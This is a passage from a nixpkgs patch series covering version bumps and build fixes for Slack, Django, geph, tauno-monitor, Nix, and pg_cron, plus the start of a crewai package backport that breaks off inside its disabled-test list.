index ce2ec83cf9db..1ccc339a2409 100644
--- a/pkgs/by-name/sl/slack/package.nix
+++ b/pkgs/by-name/sl/slack/package.nix
@@ -7,46 +7,10 @@
 
 let
   inherit (stdenvNoCC.hostPlatform) system;
+  sources = import ./sources.nix { inherit fetchurl; };
 
   pname = "slack";
 
-  x86_64-darwin-version = "4.45.64";
-  x86_64-darwin-sha256 = "0skhh16lc0czxd5ifkqy39hibk4ydlfhn41zdif3hl0sd4vcqbvb";
-
-  x86_64-linux-version = "4.45.64";
-  x86_64-linux-sha256 = "7c6af86ab1d5778aec930d4e7d77b9f9948a83a87e8458e821d6f9e8dfed180f";
-
-  aarch64-darwin-version = "4.45.64";
-  aarch64-darwin-sha256 = "136crd17ybaznp680qb2rl0c8cllkkv21ymf3dck2jhkqbp7v2kj";
-
-  sources =
-    let
-      base = "https://downloads.slack-edge.com";
-    in
-    {
-      x86_64-darwin = rec {
-        version = x86_64-darwin-version;
-        src = fetchurl {
-          url = "${base}/desktop-releases/mac/universal/${version}/Slack-${version}-macOS.dmg";
-          sha256 = x86_64-darwin-sha256;
-        };
-      };
-      x86_64-linux = rec {
-        version = x86_64-linux-version;
-        src = fetchurl {
-          url = "${base}/desktop-releases/linux/x64/${version}/slack-desktop-${version}-amd64.deb";
-          sha256 = x86_64-linux-sha256;
-        };
-      };
-      aarch64-darwin = rec {
-        version = aarch64-darwin-version;
-        src = fetchurl {
-          url = "${base}/desktop-releases/mac/arm64/${version}/Slack-${version}-macOS.dmg";
-          sha256 = aarch64-darwin-sha256;
-        };
-      };
-    };
-
   passthru = {
     updateScript = ./update.sh;
   };
diff --git a/pkgs/by-name/sl/slack/sources.nix b/pkgs/by-name/sl/slack/sources.nix
new file mode 100644
index 000000000000..1042fd7b69c6
--- /dev/null
+++ b/pkgs/by-name/sl/slack/sources.nix
@@ -0,0 +1,26 @@
+# Generated by ./update.sh - do not update manually!
+# Last updated: 2025-08-29
+{ fetchurl }:
+{
+  aarch64-darwin = {
+    version = "4.45.64";
+    src = fetchurl {
+      url = "https://downloads.slack-edge.com/desktop-releases/mac/arm64/4.45.64/Slack-4.45.64-macOS.dmg";
+      hash = "sha256-cop97sITSjFZG676IPaclDLEAM1iYYDMtV8tf0LLzIw=";
+    };
+  };
+  x86_64-darwin = {
+    version = "4.45.64";
+    src = fetchurl {
+      url = "https://downloads.slack-edge.com/desktop-releases/mac/x64/4.45.64/Slack-4.45.64-macOS.dmg";
+      hash = "sha256-7SzSVM+2gtmsVwmoZUl3WQcI9si46nstbGUGXl+Yys8=";
+    };
+  };
+  x86_64-linux = {
+    version = "4.45.64";
+    src = fetchurl {
+      url = "https://downloads.slack-edge.com/desktop-releases/linux/x64/4.45.64/slack-desktop-4.45.64-amd64.deb";
+      hash = "sha256-fGr4arHVd4rskw1OfXe5+ZSKg6h+hFjoIdb56N/tGA8=";
+    };
+  };
+}
diff --git a/pkgs/by-name/sl/slack/update.sh b/pkgs/by-name/sl/slack/update.sh
index 9a47575b1e7a..c54a9a5e7c29 100755
--- a/pkgs/by-name/sl/slack/update.sh
+++ b/pkgs/by-name/sl/slack/update.sh
@@ -1,47 +1,57 @@
 #!/usr/bin/env nix-shell
-#! nix-shell -i bash -p curl gnused
+#! nix-shell -i bash --pure -p cacert curl jq nix
 
-set -eou pipefail
+set -euo pipefail
 
-latest_linux_data="$(curl -s 'https://slack.com/api/desktop.latestRelease?arch=x64&variant=deb')"
-latest_mac_data="$(curl -s 'https://slack.com/api/desktop.latestRelease?arch=universal&variant=dmg')"
-latest_mac_arm_data="$(curl -s 'https://slack.com/api/desktop.latestRelease?arch=arm64&variant=dmg')"
+cd $(readlink -e $(dirname "${BASH_SOURCE[0]}"))
 
-latest_linux_version="$(echo ${latest_linux_data} | jq -rc '.version')"
-latest_mac_version="$(echo ${latest_mac_data} | jq -rc '.version')"
-latest_mac_arm_version="$(echo ${latest_mac_arm_data} | jq -rc '.version')"
+aarch64_darwin_data=$(curl -s 'https://slack.com/api/desktop.latestRelease?arch=arm64&variant=dmg')
+x86_64_darwin_data=$(curl -s 'https://slack.com/api/desktop.latestRelease?arch=x64&variant=dmg')
+x86_64_linux_data=$(curl -s 'https://slack.com/api/desktop.latestRelease?arch=x64&variant=deb')
 
-nixpkgs="$(git rev-parse --show-toplevel)"
-slack_nix="$nixpkgs/pkgs/by-name/sl/slack/package.nix"
-nixpkgs_linux_version=$(cat "$slack_nix" | sed -n 's/.*x86_64-linux-version = \"\([0-9\.]\+\)\";.*/\1/p')
-nixpkgs_mac_version=$(cat "$slack_nix" | sed -n 's/.*x86_64-darwin-version = \"\([0-9\.]\+\)\";.*/\1/p')
-nixpkgs_mac_arm_version=$(cat "$slack_nix" | sed -n 's/.*aarch64-darwin-version = \"\([0-9\.]\+\)\";.*/\1/p')
+aarch64_darwin_version=$(jq -r .version <<< "$aarch64_darwin_data")
+x86_64_darwin_version=$(jq -r .version <<< "$x86_64_darwin_data")
+x86_64_linux_version=$(jq -r .version <<< "$x86_64_linux_data")
 
-if [[ "$nixpkgs_linux_version" == "$latest_linux_version" && \
-      "$nixpkgs_mac_version" == "$latest_mac_version" && \
-      "$nixpkgs_mac_arm_version" == "$latest_mac_version" ]]; then
-  echo "nixpkgs versions are all up to date!"
-  exit 0
-fi
+aarch64_darwin_url=$(jq -r .download_url <<< "$aarch64_darwin_data")
+x86_64_darwin_url=$(jq -r .download_url <<< "$x86_64_darwin_data")
+x86_64_linux_url=$(jq -r .download_url <<< "$x86_64_linux_data")
 
-linux_url="$(echo ${latest_linux_data} | jq -rc '.download_url')"
-mac_url="$(echo ${latest_mac_data} | jq -rc '.download_url')"
-mac_arm_url="$(echo ${latest_mac_arm_data} | jq -rc '.download_url')"
-linux_sha256=$(nix-prefetch-url ${linux_url})
-mac_sha256=$(nix-prefetch-url ${mac_url})
-mac_arm_sha256=$(nix-prefetch-url ${mac_arm_url})
+aarch64_darwin_hash=$(nix-prefetch-url "$aarch64_darwin_url")
+x86_64_darwin_hash=$(nix-prefetch-url "$x86_64_darwin_url")
+x86_64_linux_hash=$(nix-prefetch-url "$x86_64_linux_url")
 
-sed -i "s/x86_64-linux-version = \".*\"/x86_64-linux-version = \"${latest_linux_version}\"/" "$slack_nix"
-sed -i "s/x86_64-darwin-version = \".*\"/x86_64-darwin-version = \"${latest_mac_version}\"/" "$slack_nix"
-sed -i "s/aarch64-darwin-version = \".*\"/aarch64-darwin-version = \"${latest_mac_version}\"/" "$slack_nix"
-sed -i "s/x86_64-linux-sha256 = \".*\"/x86_64-linux-sha256 = \"${linux_sha256}\"/" "$slack_nix"
-sed -i "s/x86_64-darwin-sha256 = \".*\"/x86_64-darwin-sha256 = \"${mac_sha256}\"/" "$slack_nix"
-sed -i "s/aarch64-darwin-sha256 = \".*\"/aarch64-darwin-sha256 = \"${mac_arm_sha256}\"/" "$slack_nix"
+# use friendlier hashes
 
-if ! nix-build -A slack "$nixpkgs" --arg config '{ allowUnfree = true; }'; then
-  echo "The updated slack failed to build."
-  exit 1
-fi
+aarch64_darwin_hash=$(nix --extra-experimental-features nix-command hash convert --to sri --hash-algo sha256 "$aarch64_darwin_hash")
+x86_64_darwin_hash=$(nix --extra-experimental-features nix-command hash convert --to sri --hash-algo sha256 "$x86_64_darwin_hash")
+x86_64_linux_hash=$(nix --extra-experimental-features nix-command hash convert --to sri --hash-algo sha256 "$x86_64_linux_hash")
 
-echo "Successfully updated"
-echo "slack: $nixpkgs_linux_version -> $latest_linux_version"
+cat >sources.nix <<EOF
+# Generated by ./update.sh - do not update manually!
+# Last updated: $(date +%F)
+{ fetchurl }:
+{
+  aarch64-darwin = {
+    version = "$aarch64_darwin_version";
+    src = fetchurl {
+      url = "$aarch64_darwin_url";
+      hash = "$aarch64_darwin_hash";
+    };
+  };
+  x86_64-darwin = {
+    version = "$x86_64_darwin_version";
+    src = fetchurl {
+      url = "$x86_64_darwin_url";
+      hash = "$x86_64_darwin_hash";
+    };
+  };
+  x86_64-linux = {
+    version = "$x86_64_linux_version";
+    src = fetchurl {
+      url = "$x86_64_linux_url";
+      hash = "$x86_64_linux_hash";
+    };
+  };
+}
+EOF

From 8cb70044c1ae255bc9e81a58d77cd36064ab1af9 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 29 Aug 2025 20:25:57 +0800
Subject: [PATCH 4249/4511] slack: 4.45.64 -> 4.45.69

(cherry picked from commit 71468897503c414b97d7768b487500a6053bda71)
---
 pkgs/by-name/sl/slack/sources.nix | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/sl/slack/sources.nix b/pkgs/by-name/sl/slack/sources.nix
index 1042fd7b69c6..74b6d61ef559 100644
--- a/pkgs/by-name/sl/slack/sources.nix
+++ b/pkgs/by-name/sl/slack/sources.nix
@@ -3,24 +3,24 @@
 { fetchurl }:
 {
   aarch64-darwin = {
-    version = "4.45.64";
+    version = "4.45.69";
     src = fetchurl {
-      url = "https://downloads.slack-edge.com/desktop-releases/mac/arm64/4.45.64/Slack-4.45.64-macOS.dmg";
-      hash = "sha256-cop97sITSjFZG676IPaclDLEAM1iYYDMtV8tf0LLzIw=";
+      url = "https://downloads.slack-edge.com/desktop-releases/mac/arm64/4.45.69/Slack-4.45.69-macOS.dmg";
+      hash = "sha256-MaPwj0niehwNYiSl8GdzKSF1mezKtIFiAmZzBWbwq9A=";
     };
   };
   x86_64-darwin = {
-    version = "4.45.64";
+    version = "4.45.69";
     src = fetchurl {
-      url = "https://downloads.slack-edge.com/desktop-releases/mac/x64/4.45.64/Slack-4.45.64-macOS.dmg";
-      hash = "sha256-7SzSVM+2gtmsVwmoZUl3WQcI9si46nstbGUGXl+Yys8=";
+      url = "https://downloads.slack-edge.com/desktop-releases/mac/x64/4.45.69/Slack-4.45.69-macOS.dmg";
+      hash = "sha256-iO5hGzYYmrHoTznw++AEhGjTKiTngzA9/ho+oFGXVeI=";
     };
   };
   x86_64-linux = {
-    version = "4.45.64";
+    version = "4.45.69";
     src = fetchurl {
-      url = "https://downloads.slack-edge.com/desktop-releases/linux/x64/4.45.64/slack-desktop-4.45.64-amd64.deb";
-      hash = "sha256-fGr4arHVd4rskw1OfXe5+ZSKg6h+hFjoIdb56N/tGA8=";
+      url = "https://downloads.slack-edge.com/desktop-releases/linux/x64/4.45.69/slack-desktop-4.45.69-amd64.deb";
+      hash = "sha256-CwM8oEyRBkE5FSBO5rl4ygRuLtaRefVVZpAEHKxXKcw=";
     };
   };
 }

From 235848c7e1edd220e635a63f3047e3ac613967b2 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 3 Sep 2025 22:46:42 +0200
Subject: [PATCH 4250/4511] python3Packages.django_5: 5.1.11 -> 5.1.12

https://docs.djangoproject.com/en/5.1/releases/5.1.12/
https://www.djangoproject.com/weblog/2025/sep/03/security-releases/

Fixes: CVE-2025-57833
(cherry picked from commit 8415b4d4c3ef6f184d3e3a876a787ad9c994d316)
---
 pkgs/development/python-modules/django/5.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/django/5.nix b/pkgs/development/python-modules/django/5.nix
index 67910db42955..bbf5ce589825 100644
--- a/pkgs/development/python-modules/django/5.nix
+++ b/pkgs/development/python-modules/django/5.nix
@@ -44,7 +44,7 @@
 
 buildPythonPackage rec {
   pname = "django";
-  version = "5.1.11";
+  version = "5.1.12";
   pyproject = true;
 
   disabled = pythonOlder "3.10";
@@ -53,7 +53,7 @@ buildPythonPackage rec {
     owner = "django";
     repo = "django";
     rev = "refs/tags/${version}";
-    hash = "sha256-yHoK7NGa91QEVFLeHqJo126qNg1pTE7W6LEtbCLy4sw=";
+    hash = "sha256-QWBxP728D/HQb+WLPkaXMOQtlO8b+FWcYxZyHoVcxVI=";
   };
 
   patches = [

From 0927abaf60a2e63d9b9a29afe761164cba54a1eb Mon Sep 17 00:00:00 2001
From: MCSeekeri <mcseekeri@outlook.com>
Date: Thu, 4 Sep 2025 10:16:49 +0800
Subject: [PATCH 4251/4511] geph: fix rust E0559

Not-cherry-picked-because: Unstable builds do not require patches.
---
 pkgs/by-name/ge/geph/build-fix.patch | 24 ++++++++++++++++++++++++
 pkgs/by-name/ge/geph/package.nix     |  2 ++
 2 files changed, 26 insertions(+)
 create mode 100644 pkgs/by-name/ge/geph/build-fix.patch

diff --git a/pkgs/by-name/ge/geph/build-fix.patch b/pkgs/by-name/ge/geph/build-fix.patch
new file mode 100644
index 000000000000..1371ae9a7046
--- /dev/null
+++ b/pkgs/by-name/ge/geph/build-fix.patch
@@ -0,0 +1,24 @@
+diff --git a/binaries/geph5-broker/src/routes.rs b/binaries/geph5-broker/src/routes.rs
+index 5d8c244..daebc1b 100644
+--- a/binaries/geph5-broker/src/routes.rs
++++ b/binaries/geph5-broker/src/routes.rs
+@@ -82,8 +82,8 @@ pub async fn bridge_to_leaf_route(
+                     )
+                 });
+ 
+-                if let Ok(version) = semver::Version::parse(version) && 
+-                VersionReq::parse(">=0.2.72").unwrap().matches(&version) &&
++                if let Ok(version) = semver::Version::parse(version) {
++                    if VersionReq::parse(">=0.2.72").unwrap().matches(&version) &&
+                 bridge.pool.contains("ovh_de") && // only have one group do this
+                 (
+                     asn == 197207 || // hamrah-e avval
+@@ -94,7 +94,7 @@ pub async fn bridge_to_leaf_route(
+                     return anyhow::Ok(RouteDescriptor::Delay {
+                         milliseconds: delay_ms,
+                         lower: RouteDescriptor::Race(vec![RouteDescriptor::Delay{milliseconds: 10000, lower: meeklike_route!().await?.into()}, tls_route!().await?.into(), sosistab3_route!().await?.into()]).into(),
+-                    })
++                    })}
+                 }
+ 
+                 if asn == 9808 || asn == 56044 || asn == 56047 || asn == 58807 || asn == 56048 || asn == 56040 || asn == 56047 {
diff --git a/pkgs/by-name/ge/geph/package.nix b/pkgs/by-name/ge/geph/package.nix
index 67d47bc8ad16..7317c75f0958 100644
--- a/pkgs/by-name/ge/geph/package.nix
+++ b/pkgs/by-name/ge/geph/package.nix
@@ -35,6 +35,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   cargoHash = "sha256-PhLNS6DdCisQ8sOWm1V72UJpLZX4gVNkt1779mmMB1c=";
 
+  patches = [ ./build-fix.patch ];
+
   postPatch = ''
     substituteInPlace binaries/geph5-client/src/vpn/*.sh \
       --replace-fail 'PATH=' 'PATH=${binPath}:'

From a858d3a05d18ec7ca1353118a1e8ba5427c12521 Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Tue, 2 Sep 2025 18:21:49 +0200
Subject: [PATCH 4252/4511] tauno-monitor: 0.2.15 -> 0.2.16

(cherry picked from commit 5b5e9c503464be3094a89e974e87898df30e7c77)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index 123d0063ecec..102b711c10bd 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.2.15";
+  version = "0.2.16";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-x2RgjKI+GSrZYY2sZWFTB1OkBF3s3O+XOpj1Es03ZwE=";
+    hash = "sha256-0fwZc/aAdHsw8/Wa+Efi9lcvoWuJeJvTUaUUGzR1C+E=";
   };
 
   nativeBuildInputs = [

From 98f7229a734b6972d4339cea32b02f645c82c5d7 Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Tue, 2 Sep 2025 10:13:50 -0700
Subject: [PATCH 4253/4511] nixVersions.nix_2_28: 2.28.4 -> 2.28.5

Diff: https://github.com/NixOS/nix/compare/refs/tags/2.28.4...refs/tags/2.28.5

No changelog found; this brings backported changes from June through August to the stable Nix for Nixpkgs.

(cherry picked from commit a75061e57747d6aaf4b7c81940656c24a60d2b0d)
---
 nixos/modules/installer/tools/nix-fallback-paths.nix | 12 ++++++------
 pkgs/tools/package-management/nix/default.nix        |  4 ++--
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/nixos/modules/installer/tools/nix-fallback-paths.nix b/nixos/modules/installer/tools/nix-fallback-paths.nix
index 2fa265cda818..d4caef1a09ab 100644
--- a/nixos/modules/installer/tools/nix-fallback-paths.nix
+++ b/nixos/modules/installer/tools/nix-fallback-paths.nix
@@ -1,8 +1,8 @@
 {
-  x86_64-linux = "/nix/store/gy397nw6h414f4l4vxny1wg8cn4i955d-nix-2.28.4";
-  i686-linux = "/nix/store/k192aqw8zh71zrli5abqd5wg01bqwmh9-nix-2.28.4";
-  aarch64-linux = "/nix/store/cp0bzvj8vf5y2z0nimq57crcq6h419fj-nix-2.28.4";
-  riscv64-linux = "/nix/store/zav2zzhxld8fqvj7hb5z83ggd3ij6888-nix-riscv64-unknown-linux-gnu-2.28.4";
-  x86_64-darwin = "/nix/store/gj4y690ligr5gawmpnkiw2qs087m068w-nix-2.28.4";
-  aarch64-darwin = "/nix/store/nb6nkjac7nj242j3m56pkdkbikfjw343-nix-2.28.4";
+  x86_64-linux = "/nix/store/0bvxg6fr61zrlhi93azhp8yfhb5rcrs9-nix-2.28.5";
+  i686-linux = "/nix/store/m5na49mxl4xpcs3xh086s5v08jqjhbmb-nix-2.28.5";
+  aarch64-linux = "/nix/store/95rhdhjfwbi7ilwy5j0knj1852p7x6c6-nix-2.28.5";
+  riscv64-linux = "/nix/store/cqiiv36c773023p6lp9h4ff57fjlzisk-nix-riscv64-unknown-linux-gnu-2.28.5";
+  x86_64-darwin = "/nix/store/xiw5636h616yi3balx96pmdk6b052rhk-nix-2.28.5";
+  aarch64-darwin = "/nix/store/sax8chv80d9fy4s0y3ahsr9y4kc2f0ib-nix-2.28.5";
 }
diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index ef9a7817b9b0..38ee4e2caf77 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -190,8 +190,8 @@ lib.makeExtensible (
       };
 
       nix_2_28 = commonMeson {
-        version = "2.28.4";
-        hash = "sha256-V1tPrBkPteqF8VWUgpotNFYJ2Xm6WmB3aMPexuEHl9I=";
+        version = "2.28.5";
+        hash = "sha256-oIfAHxO+BCtHXJXLHBnsKkGl1Pw+Uuq1PwNxl+lZ+Oc=";
         self_attribute_name = "nix_2_28";
       };
 

From 4fb01d18f40501c57a8f7dc7beb07d8567f5c15b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 4 Sep 2025 10:09:15 +0200
Subject: [PATCH 4254/4511] postgresqlPackages.pg_cron: 1.6.5 -> 1.6.6

Release Notes:
https://github.com/citusdata/pg_cron/releases/tag/v1.6.6

Now supports PostgreSQL 18.

(cherry picked from commit 2fa114f97288c42331ae651279974190e18cdd9b)
---
 pkgs/servers/sql/postgresql/ext/pg_cron.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_cron.nix b/pkgs/servers/sql/postgresql/ext/pg_cron.nix
index 1345dc4b1051..bb5dca058bfe 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_cron.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_cron.nix
@@ -7,13 +7,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_cron";
-  version = "1.6.5";
+  version = "1.6.6";
 
   src = fetchFromGitHub {
     owner = "citusdata";
     repo = "pg_cron";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Llksil7Fk7jvJJmCpfCN0Qm2b2I4J1VOA7/ibytO+KM=";
+    hash = "sha256-N6lLmfegUeHCpwXztMifTRvajlVLyxL0j+8edouKIOQ=";
   };
 
   meta = {

From b3e4ad0f551014df9ebd443b16f6cbf3e120cbfc Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Thu, 4 Sep 2025 10:56:00 +0200
Subject: [PATCH 4255/4511] [BACKPORT 25.05] python3Packages.crewai: init at
 0.175.0

---
 pkgs/by-name/cr/crewai/package.nix            |   5 +
 .../python-modules/crewai/default.nix         | 384 ++++++++++++++++++
 pkgs/top-level/python-packages.nix            |   2 +
 3 files changed, 391 insertions(+)
 create mode 100644 pkgs/by-name/cr/crewai/package.nix
 create mode 100644 pkgs/development/python-modules/crewai/default.nix

diff --git a/pkgs/by-name/cr/crewai/package.nix b/pkgs/by-name/cr/crewai/package.nix
new file mode 100644
index 000000000000..bfb1422d1782
--- /dev/null
+++ b/pkgs/by-name/cr/crewai/package.nix
@@ -0,0 +1,5 @@
+{
+  python3Packages,
+}:
+
+python3Packages.toPythonApplication python3Packages.crewai
diff --git a/pkgs/development/python-modules/crewai/default.nix b/pkgs/development/python-modules/crewai/default.nix
new file mode 100644
index 000000000000..2ea81b677222
--- /dev/null
+++ b/pkgs/development/python-modules/crewai/default.nix
@@ -0,0 +1,384 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchFromGitHub,
+
+  # build-system
+  hatchling,
+
+  # dependencies
+  appdirs,
+  blinker,
+  chromadb,
+  click,
+  instructor,
+  json-repair,
+  json5,
+  jsonref,
+  litellm,
+  onnxruntime,
+  openai,
+  opentelemetry-api,
+  opentelemetry-exporter-otlp-proto-http,
+  opentelemetry-sdk,
+  openpyxl,
+  pdfplumber,
+  portalocker,
+  pydantic,
+  pyjwt,
+  python-dotenv,
+  pyvis,
+  qdrant-client,
+  regex,
+  tokenizers,
+  tomli,
+  tomli-w,
+  uv,
+
+  # tests
+  pytestCheckHook,
+  pytest-xdist,
+  versionCheckHook,
+  writableTmpDirAsHomeHook,
+}:
+
+buildPythonPackage rec {
+  pname = "crewai";
+  version = "0.175.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "crewAIInc";
+    repo = "crewAI";
+    tag = version;
+    hash = "sha256-F1hw8MTQDA6eW9Rw+MdV3hJHiTuj1SHwu2c39KirPnI=";
+  };
+
+  build-system = [ hatchling ];
+
+  pythonRelaxDeps = [
+    "chromadb"
+    "json-repair"
+    "litellm"
+    "portalocker"
+    "pyvis"
+  ];
+
+  dependencies = [
+    appdirs
+    blinker
+    chromadb
+    click
+    instructor
+    json-repair
+    json5
+    jsonref
+    litellm
+    onnxruntime
+    openai
+    opentelemetry-api
+    opentelemetry-exporter-otlp-proto-http
+    opentelemetry-sdk
+    openpyxl
+    pdfplumber
+    portalocker
+    pydantic
+    pyjwt
+    python-dotenv
+    pyvis
+    regex
+    tokenizers
+    tomli
+    tomli-w
+    uv
+  ];
+
+  pythonImportsCheck = [ "crewai" ];
+
+  disabledTestPaths = [
+    # Ignore tests that require {mem0, chromadb, telemetry, security, test_agent}
+    "tests/memory/test_external_memory.py" # require mem0ai
+    "tests/storage/test_mem0_storage.py" # require mem0ai
+    "tests/cli/test_git.py" # require git
+    "tests/memory/test_short_term_memory.py" # require require API keys
+    "tests/test_crew.py" # require require API keys
+    "tests/rag/chromadb/test_client.py" # issue with chromadb
+    "tests/telemetry/test_telemetry.py" # telemetry need network access
+  ];
+
+  disabledTests = [
+    # Tests parser
+    "test_valid_action_parsing_with_special_characters"
+
+    # Tests agent - require API keys (OpenAI, Anthropic, etc)
+    "test_agent_execution_with_tools"
+    "test_llm_call"
+    "test_agent_repeated_tool_usage"
+    "test_agent_execute_task_basic"
+    "test_agent_execution"
+    "test_ensure_first_task_allow_crewai_trigger_context_is_false_does_not_inject"
+    "test_agent_use_specific_tasks_output_as_context"
+    "test_task_allow_crewai_trigger_context"
+    "test_agent_with_only_crewai_knowledge"
+    "test_logging_tool_usage"
+    "test_agent_execute_task_with_context"
+    "test_agent_repeated_tool_usage_check_even_with_disabled_cache"
+    "test_agent_step_callback"
+    "test_handle_context_length_exceeds_limit_cli_no"
+    "test_task_without_allow_crewai_trigger_context"
+    "test_cache_hitting"
+    "test_agent_knowledege_with_crewai_knowledge"
+    "test_agent_execute_task_with_tool"
+    "test_agent_moved_on_after_max_iterations"
+    "test_agent_function_calling_llm"
+    "test_task_allow_crewai_trigger_context_no_payload"
+    "test_disabling_cache_for_agent"
+    "test_do_not_allow_crewai_trigger_context_for_first_task_hierarchical"
+    "test_tool_result_as_answer_is_the_final_answer_for_the_agent"
+    "test_agent_execute_task_with_ollama"
+    "test_agent_with_knowledge_sources"
+    "test_agent_respect_the_max_rpm_set"
+    "test_agent_execution_with_specific_tools"
+    "test_llm_call_with_ollama_llama3"
+    "test_first_task_auto_inject_trigger"
+    "test_agent_respect_the_max_rpm_set_over_crew_rpm"
+    "test_agent_powered_by_new_o_model_family_that_allows_skipping_tool"
+    "test_agent_with_knowledge_with_no_crewai_knowledge"
+    "test_tool_usage_information_is_appended_to_agent"
+    "test_agent_without_max_rpm_respects_crew_rpm"
+    "test_agent_powered_by_new_o_model_family_that_uses_tool"
+    "test_agent_error_on_parsing_tool"
+    "test_agent_custom_max_iterations"
+    "test_agent_remembers_output_format_after_using_tools_too_many_times"
+    "test_llm_call_with_all_attributes"
+    "test_agent_execute_task_with_custom_llm"
+    "test_agent_with_ollama_llama3"
+    "test_custom_llm_with_langchain"
+    "test_custom_llm_temperature_preservation"
+    "test_agent_from_repository_override_attributes"
+    "test_agent_from_repository_with_invalid_tools"
+    "test_get_knowledge_search_query"
+    "test_agent_from_repository"
+
+    # Tests lite agent - require API keys
+    "test_guardrail_is_called_using_callable"
+    "test_lite_agent_created_with_correct_parameters"
+    "test_guardrail_reached_attempt_limit"
+    "test_agent_output_when_guardrail_returns_base_model"
+    "test_lite_agent_with_tools"
+    "test_lite_agent_structured_output"
+    "test_lite_agent_returns_usage_metrics"
+    "test_guardrail_is_called_using_string"
+
+    # Tests evaluation - require API keys
+    "test_evaluate_current_iteration"
+    "test_eval_lite_agent"
+    "test_eval_specific_agents_from_crew"
+    "test_failed_evaluation"
+
+    # Tests knowledge - missing optional dependencies (docling, embedchain, pandas)
+    "test_docling_source"
+    "test_multiple_docling_sources"
+    "test_excel_knowledge_source"
+
+    # Test telemetry
+    "test_telemetry_fails_due_connect_timeout"
+
+    # Tests crew
+    "test_task_tools_override_agent_tools"
+    "test_crew_output_file_end_to_end"
+    "test_conditional_task_last_task_when_conditional_is_true"
+    "test_crew_with_failing_task_guardrails"
+    "test_kickoff_for_each_single_input"
+    "test_hierarchical_verbose_manager_agent"
+    "test_crew_function_calling_llm"
+    "test_replay_interpolates_inputs_properly"
+    "test_manager_agent_delegating_to_all_agents"
+    "test_crew_does_not_interpolate_without_inputs"
+    "test_crew_creation"
+    "test_delegation_is_not_enabled_if_there_are_only_one_agent"
+    "test_tools_with_custom_caching"
+    "test_api_calls_throttling"
+    "test_multimodal_agent_describing_image_successfully"
+    "test_warning_long_term_memory_without_entity_memory"
+    "test_replay_with_context"
+    "test_crew_verbose_output"
+    "test_before_kickoff_callback"
+    "test_hierarchical_verbose_false_manager_agent"
+    "test_task_with_no_arguments"
+    "test_replay_setup_context"
+    "test_kickoff_for_each_multiple_inputs"
+    "test_conditional_task_last_task_when_conditional_is_false"
+    "test_crew_with_delegating_agents"
+    "test_agents_do_not_get_delegation_tools_with_there_is_only_one_agent"
+    "test_multimodal_agent_live_image_analysis"
+    "test_hierarchical_process"
+    "test_crew_kickoff_usage_metrics"
+    "test_disabled_memory_using_contextual_memory"
+    "test_ensure_exchanged_messages_are_propagated_to_external_memory"
+    "test_agent_usage_metrics_are_captured_for_hierarchical_process"
+    "test_crew_log_file_output"
+    "test_before_kickoff_without_inputs"
+    "test_cache_hitting_between_agents"
+    "test_crew_kickoff_streaming_usage_metrics"
+    "test_async_crews_thread_safety"
+    "test_valid_action_parsing_with_unbalanced_quotes"
+    "test_valid_action_parsing_with_angle_brackets"
+    "test_valid_action_parsing_with_mixed_quotes"
+    "test_valid_action_parsing_with_parentheses"
+    "test_parsing_with_whitespace"
+    "test_valid_action_parsing_special_characters"
+    "test_parsing_with_special_characters"
+    "test_valid_action_parsing_with_newlines"
+    "test_valid_action_parsing_with_nested_quotes"
+    "test_valid_action_parsing_with_quotes"
+    "test_valid_action_parsing_with_escaped_characters"
+    "test_create_crew"
+
+    # Tests LLM - require API keys
+    "test_llm_callback_replacement"
+    "test_gemini_models"
+    "test_llm_call_with_message_list"
+    "test_gpt_4_1"
+    "test_o3_mini_reasoning_effort_low"
+    "test_handle_streaming_tool_calls"
+    "test_llm_call_with_string_input"
+    "test_llm_call_with_tool_and_string_input"
+    "test_llm_call_with_string_input_and_callbacks"
+    "test_llm_call_when_stop_is_unsupported"
+    "test_handle_streaming_tool_calls_with_error"
+    "test_o3_mini_reasoning_effort_medium"
+    "test_llm_call_with_tool_and_message_list"
+    "test_gemma3"
+    "test_llm_call_when_stop_is_unsupported_when_additional_drop_params_is_provided"
+    "test_o3_mini_reasoning_effort_high"
+    "test_handle_streaming_tool_calls_no_available_functions"
+    "test_handle_streaming_tool_calls_no_tools"
+
+    # Test main - require git
+    "test_publish_when_not_in_sync"
+
+    # Tests project - require embedchain and API keys
+    "test_before_kickoff_modification"
+    "test_before_kickoff_with_none_input"
+    "test_multiple_before_after_kickoff"
+    "test_after_kickoff_modification"
+    "test_internal_crew_with_mcp"
+
+    # Tests task - require API keys
+    "test_output_json_hierarchical"
+    "test_output_pydantic_sequential"
+    "test_no_inject_date"
+    "test_increment_tool_errors"
